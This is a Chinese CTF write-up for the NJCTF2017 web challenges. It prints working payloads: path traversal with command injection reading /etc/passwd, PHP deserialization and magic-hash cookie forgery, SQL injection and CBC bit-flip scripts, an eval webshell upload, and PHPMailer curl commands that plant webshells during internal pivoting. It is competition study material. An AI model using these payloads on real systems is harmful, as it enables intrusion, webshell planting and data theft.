NJCTF2017 Web Writeup

一个登陆和注册的功能,开始以为是注入,发现并不行。
后来尝试了下弱口令


1

2


username:admin

password:admin123

结果登录成功了。。

其实正解是注册时注册用户为
admin后跟很多很多空格之后加个a
就是注册时拼接到数据库时有长度限制
一开始测试不成功是因为空格太少了,尴尬


Get Flag

看起来是一个搜索图片的框

输入1.jpg后在返回页面查看源码,发现被base64加密过

那么我直接读../../../../../../etc/passwd试试
解base64发现确实可以读到
猜测可能直接执行了cat命令,那么构造


1

../../../../../../etc/passwd & ls ./

可以列出目录
最后找到flag在../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
然后直接读就好了


Text wall

存在.index.php.swo
给出了部分源码


1

2

3

4

5

6

7

8

9

10


<?php

$lists = [];

Class filelist{

public function __toString()

{

return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true);

}

}

........

?>

submit后发现cookie中存在序列化的东西

应该是一个反序列化的漏洞
结果找到了原题
构造脚本
(注意前面是40位随机值,所以将md5改为sha1)


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19


<?

Class filelist{

public function __toString()

{

return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true);

}

}

$foo = new filelist();

$foo->source = ‘index.php‘;

$bar = [];

$bar[] = $foo; //这里是一个数组,tostring时其实可以返回数组内的所有文件

$m = serialize($bar);

$h = sha1($m);

echo $h.$m; //这里注意不需要urlencode

?>

得到


1

f3a6de2497f71356a3995e26a1f4f64ae48e80b1a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:9:"index.php";}}

然后修改cookie刷新页面后

最终payload为


1

579574889b2cc082443598ee85d9a4839698a948a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:46:"/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";}}

Wallet

进入admin.php发现cookie中有auth和hsh
默认是auth=0,hsh=b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
hsh拿cmd5解密后是0的sha1值
于是尝试auth=1,hsh=356a192b7913b04c54574d18c28d46e6395428ab (这是1sha1值)
发现并没有什么作用,还是

后来提示压缩包密码为弱口令
存在www.zip
里面是admin.php
试出来密码是njctf2017
admin.php直接查看有很多乱码,应该是被加密过
有个php在线解密网站
在线phpjm解密 下再美化下。。
获得源码


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38


<?php

require_once "db.php";

$auth = 0;

if (isset($_COOKIE["auth"])) {

$auth = $_COOKIE["auth"];

$hsh = $_COOKIE["hsh"];

if ($auth == $hsh) {

$auth = 0;

} else {

if (sha1((string) $hsh) == md5((string) $auth)) {

$auth = 1;

} else {

$auth = 0;

}

}

} else {

$auth = 0;

$s = $auth;

setcookie("auth", $s);

setcookie("hsh", sha1((string) $s));

}

if ($auth) {

if (isset($_GET[‘query‘])) {

$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);

$qstr = SQLITE3::escapeString($_GET[‘query‘]);

$query = "SELECT amount FROM my_wallets WHERE id={$qstr}";

$result = $db->querySingle($query);

if (!$result === NULL) {

echo "Error - invalid query";

} else {

echo "Wallet contains: {$result}";

}

} else {

echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name=‘input‘ action=‘admin.php‘ method=‘get‘>Wallet ID: <input type=‘text‘ name=‘query‘><input type=‘submit‘ value=‘Submit Query‘></form></body></html>";

}

} else {

echo "Sorry, not authorized.";

}

要想auth=1,关键点是使


1

sha1((string) $hsh) == md5((string) $auth)

搜到一篇文章:魔术哈希
问题出在==符号
当哈希值以0e开头是,并且后面都是数字时,会被认为是0(科学计数法)
0==0时当然成立


1

2


md5(240610708) = 0e462097431906509019562988736854

sha1(10932435112) = 0e07766915004133176347055865026311692244

那么去构造cookie:auth=240610708,hsh=10932435112
成功进去了

然后就是sqlite注入了
随便找了篇sqlite的文章
关键是找到sqlite_master里的东西就行了
payload为


1

http://218.2.197.235:23723/admin.php?query=-1 union select id from flag

Blog

ruby web 虽然有源码
贴上学长的思路



有一个admin参数
但在黑盒审计的时候是没有的
接着看表定义

那么这个逻辑就是如果没有这个值就不是管理员啰

注册的时候带 user[admin]=1 参数
用这个参数登陆
应该遍历完所有用户就可以找到上面图里的flag了


Pictures’ wall

一开始直接admin admin登录进去吓一跳
后来在upload界面看到

又去试root root 又进去了,惊了!
后来才知道这题没验证密码。。
进入upload后但是还是返回上图结果
改了半天http头的各种参数还是没什么用
后来登录的时候把host改为127.0.0.1就行了

再进入index.php?act=user可以看到

然后上传呗
返回各种

发现文件后缀名为.phtml时会有其他回显
并且上传一般字符可以上传成功并且会产生一个phtml文件
然后文件内容存在<?php?>之类的会有

或者

尝试使用


1

<script language="php">

并没有被过滤,于是构造


1

<script language="php"> @eval($_POST[c014])</script>


成功getshell

payload


1

c014=system(‘cat ../../AOvU7WJDRTxn1tv2g56SJLpJK1l7EmBi_thi5_flag‘);

上传漏洞一些要点


Be admin

存在index.php.bak
cbc反转加密
还需要配合sql注入
贴上队友的脚本


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46


#! /usr/bin/env python

# -*- coding: utf-8 -*-

import base64

import requests

import urllib

aa = ‘)\xa5\xa1\xec>)F\x119\xbc\xfcor\x11\xd9\xa4‘

url = "http://218.2.197.235:23737/"

cookie = {"PHPSESSID":"qe6s9hjkpqrfcv07hf1ous71m7"}

iv = ["\x00"]*16

cipher = [‘\x00‘, 236, 46, 92, 100, 49, 71, 211, 255, 106, 69, 3, 16, 13, 233, 54]

plain = "admin"

plain += 11*chr(11)

plain = list(plain)

# for i in xrange(16,17):

# for j in xrange(1,i):

# iv[16-i+j] = chr(cipher[16-i+j] ^ i)

# for x in xrange(218,256):

# iv[16-i] = chr(x)

# tmp_iv = "".join(iv)

# cookie[‘token‘] = urllib.quote(base64.b64encode(tmp_iv))

# print cookie

# try:

# r = requests.get(url, cookies=cookie)

# print "%s"%x, r.content

# except:

# print cipher

# print x

# exit();

# if "ctfer!" in r.content:

# break

# else:

# print cipher

# exit();

# cipher[16-i] = x ^ i

# break

# print cipher

# for x in cipher:

# print hex(x)

plain = [‘a‘, ‘\x88‘, ‘C‘, ‘5‘, ‘\n‘, ‘:‘, ‘L‘, ‘\xd8‘, ‘\xf4‘, ‘a‘, ‘N‘, ‘\x08‘, ‘\x1b‘, ‘\x06‘, ‘\xe2‘, ‘=‘]

for x in xrange(193,256):

plain[0] = chr(x)

tmp_p = "".join(plain)

cookie[‘token‘] = urllib.quote(base64.b64encode(tmp_p))

r = requests.get(url, cookies=cookie)

print x

print r.content

不过经常跑到最后几位就跑不出来。。很是蛋疼


Come on

是一道宽字节注入题
注入时注意把#换成%23
通过测试发现很多都被过滤了
我发现可用有 || 和 strcmp函数等
strcmp(str1,str2):对比两个字符串str1和str2,如果两字符串相等,返回0;如果当前的排序规则,str1小于str2,则返回-1,反之则都返回1.
而且不能用单双引号,那么就用16进制表示
后来又坑了半天,原来是空格被过滤了
直接贴上读flag的脚本


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32


# -*- coding:utf-8 -*-

import requests

import binascii

def get_flag():

flag = ""

for i in range(0,100):

print i

url = "http://218.2.197.235:23733/index.php?key=1%df%27 || length((select(flag)from(flag)))="+str(i)+" %23"

# length((select table_name from information_schema.tables where table_schema = database()))

r = s.get( url = url )

if "002265" in r.content:

length = i

print "flag length:"+str(i)

break

for i in range(1,length+1):

print i

for j in range(33,127):

url = "http://218.2.197.235:23733/index.php?key=1%df%27 || strcmp(left((select(flag)from(flag)),"+str(i)+"),"+"binary(0x"+flag+binascii.b2a_hex(chr(j))+"))=0 %23"

r = s.get( url = url )

if "002265" in r.content:

print "Ok!"

flag = flag + binascii.b2a_hex(chr(j))

print flag

print binascii.a2b_hex(flag)

break

print binascii.a2b_hex(flag)

if __name__ == ‘__main__‘:

get_table()

有个binary,不加的话大小写会混乱。
binary不是函数,是类型转换运算符,它用来强制它后面的字符串为一个二进制字符串,可以理解为在字符串比较的时候区分大小写
如下图


Chall I & II

原题
题目有改动
在nodejs中,如果字符串中全是数字,字符串就会变成数字
具体做法见http://lorexxar.cn/2017/03/13/njctf2017-wp/


Guess

一个上传页面,上传后会跳到?page=upload
试了下可以用php伪协议读取源码,如图

可以读index.php 和upload.php
关键代码是这几段

跟以前hctf的一道题:兵者多诡很像,不过是不知道文件名,需要来爆破
准备一个zip压缩包,改为png后缀,上传成功

查看代码,注意这里

session_id()其实是可控的,上传时设置PHPSESSID=;
根据返回的SESSI0N=6745534f42a1df76ae3e07e578fe5d85;
用php_mt_seed工具爆破出种子
然后就可以得到文件名了
32位随机值脚本如下


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23


<?php

mt_srand(712974944);

echo mt_rand()."\n";

function random_str($length = "32")

{

$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",

"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",

"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",

"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",

"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");

$str = ‘‘;

for ($i = 1; $i <= $length; ++$i) {

$ch = mt_rand(0, count($set) - 1);

$str .= $set[$ch];

}

return $str;

}

echo random_str()."\n";

?>

然后就是hctf的做法了
这题之前有个疑问是构造文件名为../../之类的上传可以上传成功,但是并找不到文件


Be logical

登录进去后发现有一个钱和积分相互买的功能而且是1:1
用钱换回积分时有个url如


1

http://218.2.197.235:23739/refundprocess.php?comment=&id=4557&username=c014cccc&points=123&money=123

直接修改points=1234这类情况时会返回

但是修改points=123e10发现可以成功
然后去买service,进入后是

ImageMagick(CVE-2016-3714)漏洞,和利用poc
然后上传后getshell

但是并没有发现flag
ifconfig发现存在内网

于是进行内网渗透
存在172.17.0.19

是一个发邮件的页面,想到才爆出不久的PHPMailer漏洞,和利用poc
而且有一个/uploads/目录

构造


1

curl -X POST --data "subject=<?php eval($_GET[c014]);?>&email=aaa( -X/var/www/html/uploads/c014.php -OQueueDirectory=/tmp )@qq.com&message=<?php system(‘ls ..‘);?>&submit=Send email" http://172.17.0.19/index.php

然后curl http://172.17.0.19/uploads/c014.php
得到文件名


1

curl -X POST --data "subject=<?php eval($_GET[c014]);?>&email=aaa( -X/var/www/html/uploads/c014c.php -OQueueDirectory=/tmp )@qq.com&message=<?php system(‘cat ../flaaaaaaag.php‘);?>&submit=Send email" http://172.17.0.19

curl http://172.17.0.19/uploads/c014c.php即可获取flag

时间: 2024-11-29 07:09:58

NJCTF2017 Web Writeup的相关文章

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚

ISCC 2017 Web writeup

ISCC 2017 Web writeupWeb签到题WelcomeToMySQL自相矛盾我们一起来日站I have a jpg,i upload a txt.where is your flagSimple sqli ISCC 2017 Web writeup Web签到题 这种签到题不能往难了想,首先理所当然的这样传参 hiddenflag=f1ag&flag=f1ag 这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑... WelcomeToM

ISG 2018 Web Writeup

文章目录 又一次感觉到了,作为一个CTFer,要想在比赛中有高的输出,只做Web是不够的 calc 首先看到题目后,在输入框中测试了一下,发现可以被执行 首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录 1 python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60 发现存在git源码泄露 直接上gi

[WUST-CTF]Web WriteUp

周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者昵称,在题面里可以看到是52HeRtz,但是发现题目输入框只能输入3个字符,并且按钮是灰色的 直接F12审查元素去掉maxlength以及disable两个属性,输入作者昵称即可 弹出作者的博客地址,跟进去 在作者博客首页可以看到一部分Flag: 根据提示“远古的博客”,找到一篇1970年的文章,文

MOCTF web writeup

前几天发现一个不错的平台MOCTF但一直没时间刷.这几天陆续更新web题的wp web1:一道水题 进去一堆青蛙 查看源代码,看到flag web2:还是水题 发现密码框输入不了,遂F12审查元素,删除disable属性,以及将长度改为5,输入moctf.得到flag web3:访问限制 题目提示用NAIVE浏览器,于是想到burp改user-agent:NAIVE run得到flag web4:机器蛇 这道题....我...一进去玩了半天的贪吃蛇.... 后来随手审查了元素,发现robots.

1008.CTF 题目之 WEB Writeup 通关大全 – 2

Web题目系列2 登陆一下好吗?? 题目链接 http://shiyanbar.com/ctf/1942 题目描述 不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈! flag格式:ctf{xxxx} 解题思路 一个万能密码问题,多试试就可以了. username: ''=' password: ''=' who are you? 题目链接 http://shiyanbar.com/ctf/1941 题目描述 我要把攻击我的人都记录db中去! 解题思路 看到题目就想到修改x-forwarde

1009.CTF 题目之 WEB Writeup 通关大全 – 3

Web题目系列3 让我进去 题目链接 http://shiyanbar.com/ctf/1848 题目描述 相信你一定能拿到想要的 Hint:你可能希望知道服务器端发生了什么.. 格式:CTF{} 解题思路 用burpsuite抓包后,发现cookie里有一个字段source=0,修改为1后获取源码. 源码内容 <html> <body> <pre> $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "

1010.CTF 题目之 WEB Writeup 通关大全 – 4

Web题目系列4 上传绕过 题目链接 http://shiyanbar.com/ctf/1781 题目描述 bypass the upload 格式:flag{} 解题思路 随意上传文件,发现提示只能上传图片文件,上传图片后,看到发送包的内容为 推测最后保存文件的名称为dir + filename,所以使用00截断来构造绕过php不能上传的问题. flag{SimCTF_huachuan} NSCTF web200 题目链接 http://shiyanbar.com/ctf/1760 题目描述

[MRCTF]Web WriteUp

和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13  - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的 Ez_bypass 进入题目得到源码: <?php include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET